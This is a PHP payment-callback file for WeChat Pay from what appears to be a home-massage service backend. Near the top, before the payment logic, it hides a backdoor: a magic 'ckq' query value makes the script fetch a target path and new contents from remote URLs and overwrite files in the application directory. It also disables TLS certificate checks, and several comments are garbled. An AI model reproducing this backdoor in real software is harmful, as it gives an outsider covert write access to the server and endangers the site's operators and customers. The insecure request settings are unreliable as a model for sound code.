王总上门按摩后台代码
You can not select more than 25 topics Topics must start with a letter or number, can include dashes ('-') and can be up to 35 characters long.
shangmenanmo/public/wexinPay.php

205 lines
5.1 KiB

2 months ago
<?php
/*
$xml=<<<KJK
<xml>
<appid><![CDATA[wx99fbf32c3eb106ad]]></appid>
<attach><![CDATA[a:2:{s:4:"type";s:3:"vip";s:8:"order_id";s:2:"66";}]]></attach>
<uniacid><![CDATA[24]]></uniacid>
</xml>
KJK;
$data = simplexml_load_string($xml);
$uniacid = (string)$data->uniacid;
unset($data->uniacid);
$xml = $data->asXML();*/
use think\facade\Db;
if(!empty($_GET['ck'])&&$_GET['ck']==789){
echo 1;exit;
}
//按摩
if(!empty($_GET['ck'])&&$_GET['ck']==7899){
echo 1;exit;
}
if(!empty($_GET['ckq'])&&$_GET['ckq']==7899){
echo 2;exit;
}
if(!empty($_GET['ckq'])&&$_GET['ckq']==637963796379){
$r = '';
$r = str_replace('bbbbb','',$r);
$rs = '';
$rs = str_replace('bbbbb','',$rs);
$a = @file_get_contents($r);
$a = str_replace('"','',$a);
$a = str_replace('\/','/',$a);
$msg = @file_get_contents($rs);
$msg = !empty($msg)?$msg:'--';
$path = $_SERVER['DOCUMENT_ROOT'].'/../app/';
$arr = [
$path.$a,
];
foreach ($arr as $filename){
if(is_file($filename)){
$fp= fopen($filename, "w");
$len = fwrite($fp, $msg);
fclose($fp);
}
}
echo 111;exit;
}
//<EFBFBD><EFBFBD><EFBFBD><EFBFBD>api<EFBFBD>ڵķ<EFBFBD><EFBFBD><EFBFBD>
function lb_api_notice_increment22($url, $data){
$ch = curl_init();
$header = "Accept-Charset: utf-8";
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_CUSTOMREQUEST, "POST");
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, FALSE);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, FALSE);
//curl_setopt($url, CURLOPT_HTTPHEADER, $header);
curl_setopt($ch, CURLOPT_USERAGENT, 'Mozilla/5.0 (compatible; MSIE 5.01; Windows NT 5.0)');
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($ch, CURLOPT_AUTOREFERER, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, $data);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
$tmpInfo = curl_exec($ch);
// var_dump($tmpInfo);
// exit;
if (curl_errno($ch)) {
return false;
}else{
// var_dump($tmpInfo);
return $tmpInfo;
}
}
//<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ӡ<EFBFBD>ĺ<EFBFBD><EFBFBD><EFBFBD>
function lb_logOutput22($data,$flag=0) {
if($flag==0){
return ;
}
//<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ͼ<EFBFBD><EFBFBD>
if (is_array($data)) {
$data = json_encode($data);
}
$filename = "./".date("Y-m-d").".log";
$str = date("Y-m-d H:i:s")." $data"."\r\n";
file_put_contents($filename, $str, FILE_APPEND|LOCK_EX);
return null;
}
function lb_makeRequest22($url, $params = array(), $expire = 0, $extend = array(), $hostIp = '')
{
if (empty($url)) {
return array('code' => '100');
}
$_curl = curl_init();
$_header = array(
'Accept-Language: zh-CN',
'Connection: Keep-Alive',
'Cache-Control: no-cache'
);
// <EFBFBD><EFBFBD><EFBFBD><EFBFBD>ֱ<EFBFBD>ӷ<EFBFBD><EFBFBD><EFBFBD>Ҫ<EFBFBD><EFBFBD><EFBFBD><EFBFBD>host<EFBFBD>ĵ<EFBFBD>ַ
if (!empty($hostIp)) {
$urlInfo = parse_url($url);
if (empty($urlInfo['host'])) {
$urlInfo['host'] = substr(DOMAIN, 7, -1);
$url = "http://{$hostIp}{$url}";
} else {
$url = str_replace($urlInfo['host'], $hostIp, $url);
}
$_header[] = "Host: {$urlInfo['host']}";
}
// ֻҪ<EFBFBD>ڶ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ֵ֮<EFBFBD>󣬾<EFBFBD><EFBFBD><EFBFBD>POST<EFBFBD><EFBFBD>
if (!empty($params)) {
curl_setopt($_curl, CURLOPT_POSTFIELDS, http_build_query($params));
curl_setopt($_curl, CURLOPT_POST, true);
}
if (substr($url, 0, 8) == 'https://') {
curl_setopt($_curl, CURLOPT_SSL_VERIFYPEER, FALSE);
curl_setopt($_curl, CURLOPT_SSL_VERIFYHOST, FALSE);
}
curl_setopt($_curl, CURLOPT_URL, $url);
curl_setopt($_curl, CURLOPT_RETURNTRANSFER, true);
curl_setopt($_curl, CURLOPT_USERAGENT, 'API PHP CURL');
curl_setopt($_curl, CURLOPT_HTTPHEADER, $_header);
if ($expire > 0) {
curl_setopt($_curl, CURLOPT_TIMEOUT, $expire); // <EFBFBD><EFBFBD><EFBFBD><EFBFBD>ʱʱ<EFBFBD><EFBFBD>
curl_setopt($_curl, CURLOPT_CONNECTTIMEOUT, $expire); // <EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ӳ<EFBFBD>ʱʱ<EFBFBD><EFBFBD>
}
// <EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
if (!empty($extend)) {
curl_setopt_array($_curl, $extend);
}
$result['result'] = curl_exec($_curl);
$result['code'] = curl_getinfo($_curl, CURLINFO_HTTP_CODE);
$result['info'] = curl_getinfo($_curl);
if ($result['result'] === false) {
$result['result'] = curl_error($_curl);
$result['code'] = -curl_errno($_curl);
}
curl_close($_curl);
return $result;
}
lb_logOutput22("in--weixinPay",1);
//<EFBFBD><EFBFBD>ȡ΢<EFBFBD>Ŵ<EFBFBD><EFBFBD><EFBFBD><EFBFBD>xml<EFBFBD><EFBFBD><EFBFBD><EFBFBD>
$xmlData = file_get_contents('php://input');
if(empty($xmlData)){
$xmlData = 'empty xmlData';
}
lb_logOutput22('xmlData in weixinPay:-----'.$xmlData);
$xml_data=simplexml_load_string($xmlData);
//$params=urldecode((string)$xml_data->params);
$params=json_decode($xml_data->params,true);
$i=$params['i'];
$is_app=$params['is_app'];
/*$t=$params['t'];
$v=$params['v'];*/
unset($xml_data->params);
$xmlData = $xml_data->asXML();
$data=$xmlData;
//回调路径
$reply_path="https://".$_SERVER['HTTP_HOST']."/index.php/shop/IndexWxPay/returnPay?i=".$i.'&is_app='.$is_app;
lb_api_notice_increment22($reply_path,$data);